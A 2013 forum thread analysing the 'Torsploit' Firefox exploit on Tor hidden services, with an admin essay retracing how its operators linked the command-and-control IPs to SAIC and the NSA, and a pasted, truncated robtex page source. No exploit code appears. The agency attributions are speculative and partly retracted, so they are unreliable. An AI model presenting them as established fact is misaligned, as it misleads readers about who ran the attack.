Anyway, if you bind your security to the security of individual applications, the old "weak chain" rule applies. That means Tor needs to worry about browser security alot more than, for example, a VPN service does. That's not to say that VPN service security can't be breached by browser vulns and fingerprinting - which, if I said it, would be complete bullshit. Browsers, especially if you <shivers> mix Java in, are security nightmares. A VPN service targeted by Javascript that uploads MAC addresses would be just as vulnerable (although MAC addresses can be easily spoofed, whereas local IP cannot), for example, and that's not hard to do with lots of browser bugs. Too, there's ways to sneak local IP out from inside a browser whether someone's using a good, well-implemented VPN service or not: after all, the local machine can't forget it's physical IP or it won't be able to physically create its packets to send up the wire. Self-evident, but still true. This is why "DNS leaks" and other (often misnamed) failures are so shockingly common and so unexpectedly difficult to reliably eradicate. That isn't specific to VPNs or Tor, actually - it's a structural issue.

And that, in turn, is why this post is in this "VPN leak" subforum.

Solutions? *nix folks, as arma says, can use firewalls to effectively block leaks - although the setup is twitchy, manual, and often in need of manual fiddling. Windows folks are sort of in a pickle, as "firewalling" on Windows is unexpectedly problematic.

And that, in turn, is where the opensource, nonprofit Leakblock project is aiming its efforts. You're welcome to peruse this subforum for other threads on various tricks and tips to prevent leaks - mostly VPN leaks, but again Tor "leaks" are so closely related as to be somewhat congruent in technical terms. What you're likely to notice is that the existing answers are complex, incomplete, not open (i.e. proprietary), or otherwise limited in some essential way - that's doubly true for Windows, really.

Here's the thing, and a good way to end this post since it hopefully helps to ensure this doesn't seem like a finger-pointing exercise at Tor (which it's not): if people put packet sniffers on their machines when running VPN services via any protocol, provided by commercial service or self-administered, spent a day just doing routine stuff online, and then went back to take a close look at the header data on those packets... hooooo boy. We've done it - I've done it - and it's not pretty. Easy to replicate these results, if you're curious.

VPNs are leaky as sieves. And that includes, yes albeit to a small degree, Cryptocloud... because OpenVPN leaks (or "leaks," as the definition of leak, in this context, is totally opaque) like a sieve. Tor is, on balance, far less leaky - that's based on everything I've ever seen and heard regarding the issue. By far.

That said, torsploit is a flavour of Tor leak - that's why it's here, in this leaky forum!

Dynamoo · Post by **Dynamoo** » Wed Aug 07, 2013 1:43 pm

Baneki wrote: Because, in fact, the question sort of expands out further, into several related lines of inquiry:

1) The first URLquery reports that I can see date to 4th August. I don't think it would have been on there for much longer before that because at least a handful of people would notice it.

3) My opinion: if Torsploit had been widely deployed then it would have been spotted. This was a one off "burner" attack, it was probably never going to last for long but probably slurped some interesting intelligence on the way.

5) Again, my opinion is that it would have been spotted if running earlier.

6b) I am assuming that whoever put the exploit on knew that it would be discovered and burned quite quickly. Torsploit was almost definitely not used to discover the physical location of Freedom Hosting. Logic would dictate that the exploit was added after LE got control of the servers. But here is a subsidiary question - where are the servers locations and which law enforcement agency would be involved? If the servers were in Ireland then you would expect the agency involved would be a division of the Garda, probably working with the FBI.

8) My opinion: when the exploit was burned, those servers would have been shut down to prevent them becoming a target themselves.

13) The Tormail situation is the big question. Some of the potentially impacted sites are obviously illegal, Tormail is not. Now, what goes on with those particular sites is of interest to run-of-the-mill law enforcement. With Tormail, the intelligence that can be gained by cracking that open is of much more interest to the likes of the NSA, CIA, DEA, MI5, MI6 etc. If Tormail is compromised then it could be the mother lode.

15) Don't read too much into the C block, except that it indicates a large-ish organisation that is likely to be physically located in the Washington DC or Virginia area. Incidentally, if it was a spoof "false flag" attack you would expect the IP to be slap bang in the middle of an FBI, NSA or similar address range.

I think the danger is that if you look at the details too much, you lose the bigger picture. My interpretation of available facts is that Freedom Hosting and its owner were busted by law enforcement (likely to be the FBI, perhaps the NSA or CIA if Tormail intel is involved) through an unknown attack vector (it really could be anything, it doesn't matter). Local law enforcement (perhaps the Garda, perhaps some other agency) worked with US federal investigators and injected code into the Tor-hosted sites, the collection mechanism for which was already set up in advance. Data was collected as discussed, and when the exploit was burned the collector was shut down. Crucially, all of this can be achieved without law enforcement breaking any laws themselves.

Anon444 · Post by **Anon444** » Wed Aug 07, 2013 5:56 pm

mannx wrote:This looks pretty targeted. They are checking for FF<17 ESR *specifically*, not the actual FF17.0, which was back in 2012 (public exploits exist for FF17, check metasploit). So whoever they were after... they knew used ESR.

It seems that there is a different package for FF versions < 17, so I wouldn't say it's that much targeted.
content_1.html is still missing.

Guest · Post by **Guest** » Wed Aug 07, 2013 6:46 pm

It seems that the code shows that all FF versions were beinh, attacked, not just >17 and <18, but no one seems to be addressing that - they make out it's only v17. There is a payload supposedly associated with version <17. Any info on that?

Guess is JS was disabled, there wouldn't be anything to worry about.

Post by **cryptostorm_admin** » Wed Aug 07, 2013 6:47 pm

note: we've published this essay, despite the fact that it still awaits the inclusion of quite a few more linked resources, and several rounds of proofing/text cleanup; bear with us, we'll get 'er done, but in the meantime this is we hope useful and timely information for folks who are following torsploit realtime - thanks!
Since we began working on the "Torsploit" analysis, on Sunday and in collaboration with Baneki Privacy Labs, we've worked pretty hard to make it clear that when it comes to attributing "custody and control" to IP addresses, we're not subject matter experts. Sure, we know how to use the tools and we know our way around a C block reasonably well (even subnetting, given what we do for a living, isn't outside our competence)... but there's a big difference between knowing how to use a tool and knowing enough to write a tool. We're in the former category.

As the last few days have gone by, several genuine subject matter experts have stepped forward and helped enormously in educating us (and quite a few other folks following along in twitter, we hope, as Baneki asks for advice and explanation and gets great replies back). What do we know for sure, now:

We know that those ARIN records that appeared to show the torsploit IP addresses (65.222.202.53 & 65.222.202.54) as being directly allocated to SAIC are inaccurate. Or, rather, the popular analytics resource domaintools.com uses an old (ca. 1993) method for interpolating individual IP ownership ("assignment" is a better term, really, but it's a bit clunky). That old method, all evidence suggests, doesn't give accurate information about the 2 torsploit IPs in question.

We use the term "we know that..." to suggest this is certain - but it's better to say it's quite highly certain. Because, as we'll see below, things get a tiny bit fishy even here. But, for the most, part the SAIC connection seems like an inaccurate artefact of domaintools.com's old way of querying ARIN. Counterpoint: in the event there was a "clean-up" of these records realtime, they might well end up looking like they do now; the torsploit IPs are, technically, assigned to nobody... or, rather, they're assigned to AS701 waay up the chain. Sure, Verizon Business (which is more or less equivalent to AS701 for purposes here) could just be assigning these IPs to some local customer and hasn't bothered to report the allocation to ARIN. Given what's being done with these IPs - acting as command and control (C&C) for an international malware network run by some LEO (law enforcement organization) - a short-term assignment as part of routine everyday business, so routine it's not even pushed to ARIN, is... just a little fishy. But still - let's set that aside and go with the assumption that the particular SAIC attribution doesn't hold up under scrutiny.

It was Baneki that first went public with the tweet linking SAIC to torsploit's C&C IPs (at a hair after 7am EST Monday 5 August) , and Baneki has asked us to include this comment from them: "Were glad that deep subject matter experts looked into this SAIC question, and took the time to educate us on the finer grained details - and limitations of - the IP allocation tool we used in our analysis. All evidence they've taken the time to put together strongly suggests that our original attribution to SAIC was, simply put, wrong. If someone's managed to do a quick-switch so elegantly as to fool all of us into thinking this inaccurately... well, we're outgunned and we'd have to admit it. That doesn't seem likely; more likely, the SAIC connection is simply not an accurate reflection of the individual IP records during the timespan in question. We've no problem acknowledging that, and offer our appreciation to the researchers who helped set this item right."

So that's the SAIC side of things. As per above, perhaps the SAIC connection was genuine and it's been cleverly "scrubbed" on the fly. If so, we lack the analytic capabilities to ferret it out and it'll have to be someone other than us to catch the snowflakes and, from them, reconstruct the storm.

That was one part of the equation of our attribution work on Monday morning... but not really the interesting part. Everyone who used domaintools could see SAIC right there in the results (and also see it disagreeing with the raw whois data served up by ARIN, simultaneously)... that a spook shop like SAIC is involved in this would be interesting, and relevant... but not deeply surprising. To us, anyway.
~ ~ ~ It was the second part that stood the hair on the back of our collective necks' up on end: nsa.gov. And it's there where we'll dig in a bit. Our goal is to tempt others to carry forward the basic research we've done here, and perhaps - once again - help us learn, discover additional facts, and understand more fully the structure of our networks.

We received an IM from a colleague on Monday morning, just before 9am EST on 5 August (less than two hours after Baneki's SAIC tweet). Folks had been talking about the SAIC attribution, and word was out that folks with specialised expertise in IP attribution were asked to contribute their knowledge to confirming or disconfirming whether the SAIC results held up under scrutiny. We've deleted the original message, but - coincidentally - had a screenshot sitting around that included a corner of it. Ironically, it's not the screenshot we now wish we had, but that comes later. For now, here's the visible corner of the IM:

: IPrange.png (9.19 KiB) Viewed 127193 times

This was, as we've noted elsewhere, our first experience working with the robtex analytic tool. We followed the link, looked at the report generated, and called a team strategy session. Each member of the team available at that point was asked to independently study the robtex report and see if we agreed with the conclusion offered in the IM we'd received (from someone with quite a bit of knowledge in these matters - considerably more than us - who shall now and forever forward remain behind the scenes). We'd then come back, compare notes, and decide what we'd do.

Off we went...

And here's the part where we wish at least one of us - at Cryptocloud, or Baneki - had screenshooted the robtex report we studied. Because all of us agreed with the terse assessment of the IM: the block of IPs covering 65.192.0.0/11 to 65.222.202.53 "rolled up" directly to nsa.gov... at least according to robtex. Note that these are ranges all within the 65.x.x.x octet... no 63.x.x.x involved. We'd like to think that, amoungst all of us, we know how to tell 63 apart from 65. Mistakes happen, and things get overlooked, but we did independent reads of the robtex report... and compared it to the concise summary we'd received via IM. They all lined up - no dissenters. To the best of our knowledge, the torsploit IPs fight right into the middle of this range.

Note that, at the time, that backed up the domaintools.com assessment of SAIC's involvement. Simply put, SAIC does a big chunk of outsourced work for the NSA. Not exclusively, but it's a large slice of their pie (citation needed). We haven't heard of SAIC doing major work for the FBI - it's possible it happens, but it's never come across our screen (please correct us if we're wrong here). So at the granular level, you've got SAIC handling the individual IP (which, per above, now appears not true... although that leaves the range basically unallocated beneath AS, again a bit fishy) and then, spooling up, it appeared that the chunk of the 65.x.x.x octet itself was "owned by" (we're using "ignorance quotes" here because we simply don't know the right verb to use here; robtex shows the relationship as "Base" - a term of art?) nsa.gov. That then rolls up to AS701 - Verizon Business/uunet - which makes sense: the NSA isn't in the business of running their own AS (are they...?).

At 11:30am EST, we posted here with our attribution of the "Base"/ownership of the 65.x.x.x octet range including the torsploit IPs to nsa.gov, and shortly thereafter (11:50am EST) tweeted a link to the post.This was approximately one hour after we'd received the IM, noted above, and about 3 hours since Baneki's SAIC tweet.

As far as we know it was Kevin Poulsen who was the first person to publicly question the robtex results. In an email to a Baneki researcher that was immediately shared with us (12:45pm EST - nearly six hours after Baneki's first SAIC tweet), he suggested that "65.196.127.225 and the tor hack C&C 65.222.202.53 both have Verizon as the upstream providers (AS 701)" (if we're out of line in quoting this from the email sent to Baneki, Kevin, we'll remove & paraphrase). At that point, our researchers went back to look at the robtex screen and, sure enough, Kevin's interpretation seems to make sense. Indeed, Baneki's researcher wrote back to him that...

Kevin -

I'm not an expert on those Robtex reports, and in fact I've not used the service before, so I'm going merely from my interpretation of what it says... plus some assistance from malware analysts who use it routinely. Which is far from authoritative, to be clear, but it's what we have. We're hoping for Dan Kaminski to take a look, to be honest - Dan will likely have useful input.

That said, we note the "base" categorization of the canonical nsa.gov - and then there's this graphical representation of... something. It's not a route map, and it's not a topological characterization (logical or physical) as we understand the terms. So, um... our hard-line networking folks (mostly VPN specialists, not surprisingly) are not routinely working with these AS-level issues, to be blunt. We do subnetting, not AS interfaces.

But this, it's just flat-out fascinating...

In terms of me, personally, with a few decades being around smart folks working with interesting stuff... I'll be very surprised if this doesn't have a direct entanglement with the NSA. Indeed, I believe it's intended to be visibily an NSA "calling card." But I could be wrong - it happens, alot. I'm holding fire until folks who know this stuff stone-cold have a chance to lay out the gritty details. Indeed, I've no doubt there's at least one person out there who knows this stuff so well, she can likely explain it all, from memory, whilst walking backwards uphill - there's always that one person, somewhere, who knows the system inside and out.

I'm neither that person, when it comes to this IP attribution issue, nor am I even particularly well qualified to play such on TeeVee.

Regards,

At this point, reporting on the issue swells and, going back and reviewing reports, everyone's read and/or version of the robtext report seems to converge. The first snapshot we could find, looking back, is in Sean Gallagher's piece at Ars Technica, timestamped 1:34pm EST (6.5 hours after Baneki's first tweet). It looks like this:

We reached out to the Baneki researcher who spoke with Sean during the preparation of the story. His recollection of the call is that he and Sean were discussed the report while talking, but he's not 100% confident of whether he had the report pulled up himself during the call, and very clearly doesn't want to be speaking on Sean's behalf. We do know Baneki's researcher was on the phone with him in the morning, after our own tweet went out but (obviously) before the story went live. He's offered to pull CDRs from the Asterisk box to see the exact time, but we're holding fire for now since he's not sure he was looking at the report realtime, or whether he was going from his memory of the research earlier in the morning.

We tried going to the wayback machine for magical assistance. It's got a "snapshot" from 24 June 2013... but, alas, it's basically a page of javascript (ironically) which of course can't pull underlying data from the past to populate its variables. Still, here's the code blob:

Code: Select all

<!DOCTYPE html>
<html lang="en">

<head>


<!-- Start Wayback Rewrite JS Include -->
<script type="text/javascript" src="/static/js/jwplayer/jwplayer.js" ></script>
<script type="text/javascript" src="/static/js/video-embed-rewriter.js"></script>
<script type="text/javascript">
function initYTVideo(id)
{
	_wmVideos_.init("/web/", id);
}
</script>
<!-- End Wayback Rewrite JS Include -->

<title>nsa.gov</title>
<base href="/web/20130624003743/http://pop.robtex.com/nsa.gov.html" />
<meta charset="utf-8" />

<link rel="shortcut icon" href="data:image/png;base64,{redacted for space}" type="image/png" />
<link rel="search" type="application/opensearchdescription+xml" title="robtex search" href="/web/20130624003743/http://pop.robtex.com/osd.xml" />

<link rel="alternate" title="nsa.gov - robtex dns monitor rss" href="/web/20130624003743/http://pop.robtex.com/nsa.gov.rss" type="application/rss+xml" />
<link rel="alternate" title="nsa.gov - robtex dns monitor wml" href="/web/20130624003743/http://pop.robtex.com/nsa.gov.wml" media="handheld" type="text/vnd.wap.wml" />

<link rel="index" href="/web/20130624003743/http://pop.robtex.com/" title="pop" />

<meta name="description" content="Ncsc.mil, cybercom.mil, ec.ncsc.mil, dewnet.ncsc.mil, cauldron.ncsc.mil and at least five other hosts share mail servers with this..." />
<meta name="keywords" content="nsa.gov, nsa, gov" />
<meta name="ROBOTS" content="NOINDEX,FOLLOW" />



<link rel="dns-prefetch" href="/web/20130624003743/http://apis.google.com/" />
<link rel="dns-prefetch" href="/web/20130624003743/http://cdn.api.twitter.com/" />
<link rel="dns-prefetch" href="/web/20130624003743/http://connect.facebook.net/" />
<link rel="dns-prefetch" href="/web/20130624003743/http://d31qbv1cthcecs.cloudfront.net/" />
<link rel="dns-prefetch" href="/web/20130624003743/http://d5nxst8fruw4z.cloudfront.net/" />
<link rel="dns-prefetch" href="/web/20130624003743/http://facebook.com/" />
<link rel="dns-prefetch" href="/web/20130624003743/http://google-analytics.com/" />
<link rel="dns-prefetch" href="/web/20130624003743/http://p.twitter.com/" />
<link rel="dns-prefetch" href="/web/20130624003743/http://googleads.g.doubleclick.net/" />
<link rel="dns-prefetch" href="/web/20130624003743/http://pagead2.googlesyndication.com/" />
<link rel="dns-prefetch" href="/web/20130624003743/http://platform.twitter.com/" />
<link rel="dns-prefetch" href="/web/20130624003743/http://plusone.google.com/" />
<link rel="dns-prefetch" href="/web/20130624003743/http://s-static.ak.facebook.com/" />
<link rel="dns-prefetch" href="/web/20130624003743/http://static.ak.facebook.com/" />
<link rel="dns-prefetch" href="/web/20130624003743/http://static.ak.fbcdn.net/" />

<meta itemprop="name" content="nsa.gov" />
<meta itemprop="description" content="Ncsc.mil, cybercom.mil, ec.ncsc.mil, dewnet.ncsc.mil, cauldron.ncsc.mil and at least five other hosts share mail servers with this..." />
<meta itemprop="datePublished" content="2013-06-23" />
<meta itemprop="image" content="http://www.robtex.com/robtex.gif" />
<meta property="og:site_name" content="Robtex Swiss Army Knife Internet Tool" />
<meta property="og:url" content="http://pop.robtex.com/nsa.gov.html" />
<meta property="og:image" content="http://www.robtex.com/robtex.gif" />
<meta property="og:type" content="website" /> 
<meta property="og:title" content="nsa.gov" />
<meta property="og:description" content="Ncsc.mil, cybercom.mil, ec.ncsc.mil, dewnet.ncsc.mil, cauldron.ncsc.mil and at least five other hosts share mail servers with this..." />

<script type="text/javascript"><!--
//n
var redirecting=0;
var pageloaded=0;
var fluffed=0;
var fluffedb=0;
var fluffed2=0;
var xads=0;
var deftabx=1?9:0;
var deftab=deftabx;
var olntab='';
var rtsakv=6;
var rtsakkw='nsa.gov';
var rtsakd='n';
var uurl="/web/20130624003743/http://bis.robtex.com/u/fcd14de7fbd9e4594e986fce43d ee0d1/f9974021a4e6086027b5db5412fd4fa6/nsa.gov.js";
var rtsakhaswhois=0;
var rtsakhasanalyze=0;
var rtsakhascontact=0;
var rtsakt=1372034263;
var rtsaktj=1372034263;
var rtprev="uh";
var rturl="/web/20130624003743/http://pop.robtex.com/nsa.gov.html";
var rturlo="/web/20130624003743/http://www.robtex.com/dns/nsa.gov.html";

var rtacturl=document.location.href;
rtacturl=rtacturl.replace(/#.*/,'');
rtacturl=rtacturl.replace(/\?.*/,'');
var rtsameurl=(rturl == rtacturl);
var tlurl="";
var cens={};
var http;
var httpb;
var httpc;
var httpe;
var httpf;
var dstr;

var did=0;
var didb=0;
var didc=0;
var didd=0;
var dide=0;
var didf=0;



var xload=0;
var xstep=0;
var xlog="";

var lurked=0;
var datauri=0;
datauri=1;
if (navigator.appName == 'Microsoft Internet Explorer') datauri=0;


try{
if(document.referrer)
{
rtprev=document.referrer
}
} catch(err) {;}


function censor(a)
{


   var as = document.getElementsByTagName('a');
    var i = 0; while (i < as.length)
    {   
        var a = as.item(i);
        i++;
        var h=a.href;
	var r;
	var s;
var l=a.href;
	if(a.className=="uncensored") continue;
	if(a.className=="censored") continue;





	var couldbebad=0;
	var omg=a.innerHTML.toLowerCase();
	var omg1;
	var omg2;
	var lol=/.*?\./;
	omg1=omg.replace(lol,'');
	omg2=omg1.replace(lol,'');
	if(cens[omg]) couldbebad++;
	if(cens[omg1]) couldbebad++;
	if(cens[omg2]) couldbebad++;

	if(couldbebad)
        {
		a.className="uncensored";
		var n = document.createElement('a');
		var lol=a.innerHTML.toLowerCase();
		
 var re=/[a-z0-9]/g;
 lol=lol.replace(re,'X')

		n.innerHTML=lol;
		n.className="censored";
		n.title="If you click here you will go to a page that will disclose technical information about a host name or ip, or a host name or ip related to another host name or ip, that if entered into a web browser could possibly show sensitive information, such as virus, file-sharing, pornography, or even socialism!";
		n.href="javascript:uncensor()";
		a.parentNode.insertBefore( n, a.nextSibling );

	}




    }


fixcensor();
}

function uncensor()
{
	var x=location.href;
 var re=/(\#|$)/;
 x=x.replace(re,'?uncensored=1#')

	location.replace(x);
}

function scrollhandler()
{
	
}

function fixcensor()
{
	var un="none";
	var ce="inline";
	var x=location.href;
if( (z=x.indexOf('?uncensored'))>=0)
{
	ce="none";un="inline";
}
   var as = document.getElementsByTagName('a');
    var i = 0; while (i < as.length)
	{
	        var a = as.item(i);
       		 i++;
		if(a.className=="uncensored") a.style.display=un;
		if(a.className=="censored") a.style.display=ce;
	}

}




function doscroll()
{
if(rtsakd!='l') return;
doscroll2();
setTimeout(doscroll,100);
}

function doscroll2()
{
try{showxnad()} catch(e) {};
        var x=['ip','asinfo','peer','bgp','rr','sites','result','graph','shared','records','blacklists', 'analysis','contact','whois','summary'];
        var wo=window.offsetTop;
var wx=window.pageXOffset;
var wy=window.pageYOffset;
if(wy||1) {
var best='';
var besty=-1;
var diff;
        for(var a=0;a<x.length;a++)
        {
                var v=x[a];
                var e=document.getElementById(v);
                if(e)
                {
                        var ot=e.offsetTop;
                        if(ot<=wy )
                        {
                                if((ot>besty) || besty==-1)
                                {
                                        best=v;
                                        besty=ot;
                                }
                        }
                }
        }
if(1)
{
        var nh=best?("#"+best):"";
        if(nh!=location.hash)
        {
        
if(history.replaceState)
{
history.replaceState("", nh, location.pathname + location.search + nh );
}
else
{
                location.hash=nh;
}
        }
}


}
}



function xloaded(a)
{
   
censor(a);
xstep++;
var yload=xload;
xload|=a;
xlog=xlog+xstep+":"+yload+"|"+a+"="+xload+"\n";

try{

if((xload&3)==3) {
zonload()};

}catch(err){;};


if((xload&3)==3) {
lurk();
}

if(xload==7)
{
try{uloaded();}catch(err){;};
}
censor(a);
if((xload&1)==1) {sortables_init();}
}

//-->
</script>


<style type="text/css"> 
<!--
desin{margin:0}

.hide{
    display: none;
}
.sortarrow
{
font-family: monospace;
font-size: 14px;
}

.toptab
{
	width: 100%;
	background-color: #000000;
}

#crumb
{
	float: right;

}


#crumb , #crumb a:visited , #crumb a:link
{
	color:#cccccc;
	background-color: #000000;
	border: none;
	display: inline;
}

ol{margin:0;padding:0}p{margin:0}.c3{width:468pt;background-color:#ffffff;padding:72pt 72pt 72pt 72pt}.c1{font-style:italic;font-weight:bold}.c4 {font-weight:bold}.c6{text-decoration:underline}.c5{height:11pt}.c0 {direction:ltr}.c2{font-style:italic}

h1{padding-top:24pt;color:#000000;font-size:24pt;font-family:Arial;font-weight:bold;padding-bottom:6pt}h2{padding-top:18pt;color:#000000;font-size:18pt;font- family:Arial;font-weight:bold;padding-bottom:4pt}h3{padding-top:14pt;color:#000000;font-size:14pt;font- family:Arial;font-weight:bold;padding-bottom:4pt}h4{padding-top:12pt;color:#000000;font-size:12pt;font- family:Arial;font-weight:bold;padding-bottom:2pt}h5{padding-top:11pt;color:#000000;font-size:11pt;font- family:Arial;font-weight:bold;padding-bottom:2pt}h6{padding-top:10pt;color:#000000;font-size:10pt;font- family:Arial;font-weight:bold;padding-bottom:2pt}

.censored , a.censored , a.censored:visited , a.censored:hover, a.censored:active {
 color:#ffffff;
 background-color: #444444;
}


.uncensored , a.uncensored , a.uncensored:visited , a.uncensored:hover, a.uncensored:active {
 color:#000000;
 background-color: #ffff00;
}





.s
{
background:#eeeeff;
font-family:courier;
font-size:14px;
 -moz-border-radius:  12px;
   -webkit-border-radius: 12px;
           border-radius: 12px;
        padding:12px;
        margin:12px;
        display:block;
}


.pp
{
	margin:1em 1em;
	text-indent: 1em;
	text-align: justify;
	orphans: 10;
	widows: 10;
}

.dd
{

}

.tred
{
	color: red;
}

.tgreen
{
	color: green;
}

.tyellow
{
	color: yellow;
}

#xtail
{
	position: fixed;
	height: 131px;
	bottom: 0;
	right: 0;
	margin: 0px;
	padding: 0px;
}


.xsummary {

}

.svg {
float: right;

}

dl dt dd {
display:inline;
float:left;
}

.thumb {
 background: #dddddd;
 border: 1px solid black;
 -moz-border-radius:  12px;
   -webkit-border-radius: 12px;
           border-radius: 12px;
 padding:12px;

}



#tm2 a:link.active, #tm2 a:visited.active	{
	background : #ffffff;
	border-bottom : 1px solid #ffffff;
	color : #000;
}

#tm2 a:hover	{
	color : #f00;
	background : #ffffff;
}



#cc {
	background : #ffffff;
	border : 1px solid #000000;
	border-top : none;
	clear : both;
	margin : 0px;
	padding : 15px;
}



.js {
	display: none;
}

.hreview {
}



H1 {
	font-family:verdana,arial,sans-serif;
	font-size:18px;
}

H2 {
	font-family:verdana,arial,sans-serif;
	font-size:12px;
}

H3 {
	font-family:verdana,arial,sans-serif;
	font-size:10px;
}

table {
 border: 0px solid; padding: 0px; margin: 0px; 
	border-collapse: collapse;
	margin: 0px 0px 0px 0px;
	padding: 0px 0px 0px 0px;
	border: 0px solid #00ff00;
}
td {

}



table.rbls,table.rbls td {
	border-width: 1px 0px 1px 0px;
	border-color: #aaaaaa #aaaaaa #aaaaaa #aaaaaa;
}

table.t, .llbox , .s , .thumb  {
 
}


.llli {
        display : inline;
        list-style-type : none;
        margin : 0;
        padding : 0;
}

.xbul {
    border: 1px solid #000000;
    clear: none;
    font-family: verdana,arial,sans-serif;
    font-size: 10px;
    height: 100px;
    margin: 0;
    overflow-x: hidden;
    overflow-y: auto;
    padding: 2px;
    width: 200px;
}


.xbdiv {
    border: medium none;
    color: #000000;
    float: left;
    font-family: verdana,arial,sans-serif;
    font-size: 10px;
    margin: 5px;
    padding: 0;
    vertical-align: top;
    width: 200px;

}




table.t, table.t td {
	border-width: 1px 1px 1px 1px;
	border-spacing: 0px;
	border-style: solid solid solid solid;
	border-collapse: separate;
	padding: 0px 0px 0px 0px;
	border-color: #aaaaaa #aaaaaa #aaaaaa #aaaaaa;
	background-color: #eeeeee;
}
table.t td
{
	padding: 1px 5px 1px 5px;             
}



table.t2, table.t2 td {
	border: none;
	padding: 0px 0px 0px 0px;
}
table.t2 td
{
	padding: 1px 5px 1px 5px;             
}



table.s td
{
	background-color: #eeeeee;
	padding: 1px 5px 1px 5px;             
	margin: 10px;
}

table.m,table.m2 {
	padding: 0px; margin: 0px; 
	border-collapse: collapse;
	margin: 0px 0px 0px 0px;
	padding: 0px 0px 0px 0px;
	border-right: 0px;
	border-bottom: 0px;
	border-left: 0px;
	border-top: 0px;

}

table.m {

}

table.rbltable,tr.rbltable,td.rbltable
{
}
tr.rblsection {
	background-color: #444444;
	color:#ffffff;
}
tr.rblred {
	background-color: #ee8888;
}
tr.rblorange {
	background-color: #eeee88;
}
tr.rblgreen {
	background-color: #88ee88;
}
tr.rblto {
	background-color: #eeee88;
}
tr.rblwl {
	background-color: #ffffff;
}
tr.rblnwl {
	background-color: #888888;
}

a { color: #0000c0;
}
a:visited {
	color: #8000f0;
}
a:hover {
	color: #000000;
}
a:active {
	color: #404040;
}
back.a {
	color: #800000;
}



table.nopad,tr.nopad,td.nopad,td.a0,td.a1,td.b0,td.b1,td.b0x,td.b1x,th.b0,th.b1,th.bs0 , th.bs1  {
	padding: 0px 0px 0px 0px;
	margin: 0px 0px 0px 0px;
	border-collapse: collapse;
	border: 0px solid #000000;
	
	
}

th.bs0 , th.bs1 , th.b0 , th.b1, th.b0 a, th.b1 a {
    text-align: left;
}

th.bs0 , th.bs1
{
        width: 12px;
}

td.a0  {
	background-color: #ffe080;
}
td.a1 {
	background-color: #e0ff80;
}
td.b0,td.b0x,th.b0,th.bs0 {
	background-color: #ffe000;
}
td.b1,td.b1x,th.b1,th.bs1 {
	background-color: #e0ff00;
}

td.b0x,tdb1x {
width:20px;
}


#dmenu {position:absolute;visibility:visible;
 border: 0px solid; padding: 0px; margin: 0px; 
}

#menu {display:block; top:0px; left:0px; width:100%; 

border:0px ; padding:0px; text-align:left;  }






#contents {

	border: none;
        clear : both;
        margin : 0px;
        padding : 0px;
}

.center {
        clear : both;
        padding : 15px;
	text-align: center;
}


div.lbox {
font-family:verdana,arial,sans-serif;
font-size:10px;
color:#000;
float: left;
vertical-align: top;
margin: 5px;
padding: 0px;
width: 200px;
border : none;

}

.lbox h3
{
font-family:verdana,arial,sans-serif;
font-size:10px;
margin: 0px;
padding: 0px;
color: #000;
border : none;
}

.lbox p
{
font-family:verdana,arial,sans-serif;
font-size:10px;
margin: 0px;
padding: 2px;
border : 1px solid #000000;
overflow-x: hidden;
overflow-y: auto;
height: 100px;
width: 200px;
}

.brk
{
clear: both;
}




div.dst
{
	background-color:#ffffff;
        border-top: none;

	clear: both;
}








body{color:#000000;font-size:11pt;font-family:Arial;
	font-size:10px;
	color:#000000;
padding: 0px 0px 0px 0px;
margin: 0px 0px 0px 0px;
border-collapse: collapse;


	background-color: #ffffff;
 border: 0px solid; padding: 0px; margin: 0px; 
}


.h1s {
margin: 0px;
}

.topper {
height: 60px;
display: block;
}

.ndtop {
background: #fff;
z-index: 10;
padding: 0px;
margin: 0px;
border:0px ; 
height: 50px;
 top:0px; left:0px; width:100%; position:fixed; 
text-align:left;  
padding-right: 0px;
margin-right: 0px;
}

.ndtop2 {
padding: 0px;
margin: 0px;
margin-right: 5px;
border:0px ;
widdth: 100%; 
height: 100%;
 top:0px; left:0px; 
text-align:left;  
padding-right: 0px;
margin-right: 20px;
}

.ndextra {
height:70px;
}

.ndpage {
clear: both;
z-order: -10;
}

.ndanch {
padding: 0px;
margin: 0;
border: 3px #000;
overflow-x: auto; overflow-y: auto;
}

.ndcont {
margin:0px;
padding:0px;
padding-top: 0px;
}


#h0,#h1,#h2,#h3,#h4,#h5,#h6,#h7,#h8,#h9,
#c0,#c1,#c2,#c3,#c4,#c5,#c6,#c7,#c8,#c9 {
	background : #ffffff;
	border : none;
	clear : both;
	margin : 0px;
	padding : 0px;
}



//-->
</style>

<script type="text/javascript"><!--


var rtacturl=document.location.href;
rtacturl=rtacturl.replace(/#.*/,'');
rtacturl=rtacturl.replace(/\?.*/,'');
var rtsameurl=(rturl == rtacturl);



try{
if(document.referrer)
{
rtprev=document.referrer
}
} catch(err) {;}

var dotdata="b0dc774ecdf4bc564922710d3eabeb9d";


var morecss="#tm{border:1px solid #000000;background:#000000;margin:0;padding\x2dbottom:19px;padding\x2dleft: 10px;font\x2dsize:13px;font\x2dfamily:Arial,Sans\x2dSerif;}#tm ul,#tm li{display:inline;list\x2dstyle\x2dtype:none;margin:0;padding:0;}#tm a:link,#tm a:visited{color:#fff ;float:left;line\x2dheight:14px;font\x2dweight: 400;margin\x2dright:2px;padding:2px 3px 2px 3px;text\x2ddecoration:none;border:none;border\x2dtop:2px solid #000000;}body #tm a{border:1px solid #000000;color:#000;}#tm ul a:hover{color:#f00 \x21important;}#tm ul.uls{display:none;}"; // x1
document.write("<style>"+morecss+"<"+"/style>");


var loadingimg16='<img alt="&hellip;" width="16" height="16" src="data:image/gif;base64,{redacted for space}==" />';

var ie = (document.all) ? true : false;
function setStyleByClass(t,c,p,v){
        var elements;
        if(t == '*') {

                elements = (ie) ? document.all : document.getElementsByTagName('*');
        } else {
                elements = document.getElementsByTagName(t);
        }
        for(var i = 0; i < elements.length; i++){
                var node = elements.item(i);
                for(var j = 0; j < node.attributes.length; j++) {
                        if(node.attributes.item(j).nodeName == 'class') {
                                if(node.attributes.item(j).nodeValue == c) {
                                        eval('node.style.' + p + " = '" +v + "'");
                                }
                        }
                }
        }
}




var xads=0;

try{

 xads=1;
 if(document.referrer)
 {
   deftab=deftabx;
  if(document.referrer.match(/^/web/20130624003743/http://www\.robtex\.com[\/]/) )
  {

  }
 }
 else
 {
	deftab=-1;

 }
   deftab=deftabx;
	deftab=-1;
}catch(err) {;}







function correcturl()
{
	if((window.innerWidth==screen.width) && (window.innerHeight==screen.height)) return;
try {
	var x=location.href;

	var y=x;


{




	y=y.replace(/(\/dns\/.*html)$/,'$1#result');
	y=y.replace(/(\/\/(dns|host|top|bottom|pop)..*html)$/,'$1#result');
	y=y.replace(/(\/ip\/.*html)$/,'$1#ip');
